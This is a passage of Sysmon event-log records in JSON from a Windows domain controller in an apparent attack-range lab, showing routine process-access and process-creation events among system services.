11:49:56.297","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010460F0200}","TargetProcessId":"2760","TargetImage":"C:\\Windows\\ADWS\\Microsoft.ActiveDirectory.WebServices.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1100,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.297\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00103DC30000}\r\nTargetProcessId: 1220\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.297","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00103DC30000}","TargetProcessId":"1220","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1101,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.297\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00103DC30000}\r\nTargetProcessId: 1220\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.297","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00103DC30000}","TargetProcessId":"1220","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1102,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.304\r\nProcessGuid: {90617006-3FE4-5F2D-0000-001013110200}\r\nProcessId: 2608\r\nImage: C:\\Program Files\\Amazon\\XenTools\\LiteAgent.exe\r\nFileVersion: 1.0\r\nDescription: xenagent\r\nProduct: XENIFACE\r\nCompany: Amazon Inc.\r\nOriginalFileName: xenagent.exe\r\nCommandLine: \"C:\\Program Files\\Amazon\\XenTools\\LiteAgent.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=3727559C2C2FE26EE668086FAF992815,SHA256=8130E7A850E0A088CB46F2595F7418CE9D73CE2F7750FC017ABC5CF3DED05F06,IMPHASH=C8B18E9A517CB77EA7AB3E7295D84FE8\r\nParentProcessGuid: {90617006-3FD2-5F2D-0000-00101D530000}\r\nParentProcessId: 852\r\nParentImage: C:\\Windows\\System32\\services.exe\r\nParentCommandLine: C:\\Windows\\system32\\services.exe","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.304","ProcessGuid":"{90617006-3FE4-5F2D-0000-001013110200}","Image":"C:\\Program Files\\Amazon\\XenTools\\LiteAgent.exe","FileVersion":"1.0","Description":"xenagent","Product":"XENIFACE","Company":"Amazon Inc.","OriginalFileName":"xenagent.exe","CommandLine":"\"C:\\Program Files\\Amazon\\XenTools\\LiteAgent.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=3727559C2C2FE26EE668086FAF992815,SHA256=8130E7A850E0A088CB46F2595F7418CE9D73CE2F7750FC017ABC5CF3DED05F06,IMPHASH=C8B18E9A517CB77EA7AB3E7295D84FE8","ParentProcessGuid":"{90617006-3FD2-5F2D-0000-00101D530000}","ParentProcessId":"852","ParentImage":"C:\\Windows\\System32\\services.exe","ParentCommandLine":"C:\\Windows\\system32\\services.exe","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1103,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.297\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 944\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-001013110200}\r\nTargetProcessId: 2608\r\nTargetImage: C:\\Program Files\\Amazon\\XenTools\\LiteAgent.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\services.exe+12bee|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+20a11|C:\\Windows\\SYSTEM32\\ntdll.dll+2b9ae|C:\\Windows\\SYSTEM32\\ntdll.dll+29bc4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.297","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"944","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-001013110200}","TargetProcessId":"2608","TargetImage":"C:\\Program Files\\Amazon\\XenTools\\LiteAgent.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\services.exe+12bee|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+20a11|C:\\Windows\\SYSTEM32\\ntdll.dll+2b9ae|C:\\Windows\\SYSTEM32\\ntdll.dll+29bc4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1104,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.297\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-001013110200}\r\nTargetProcessId: 2608\r\nTargetImage: C:\\Program Files\\Amazon\\XenTools\\LiteAgent.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.297","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-001013110200}","TargetProcessId":"2608","TargetImage":"C:\\Program Files\\Amazon\\XenTools\\LiteAgent.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1105,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.312\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.312","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1106,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.312\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 900\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.312","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"900","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1107,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1108,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 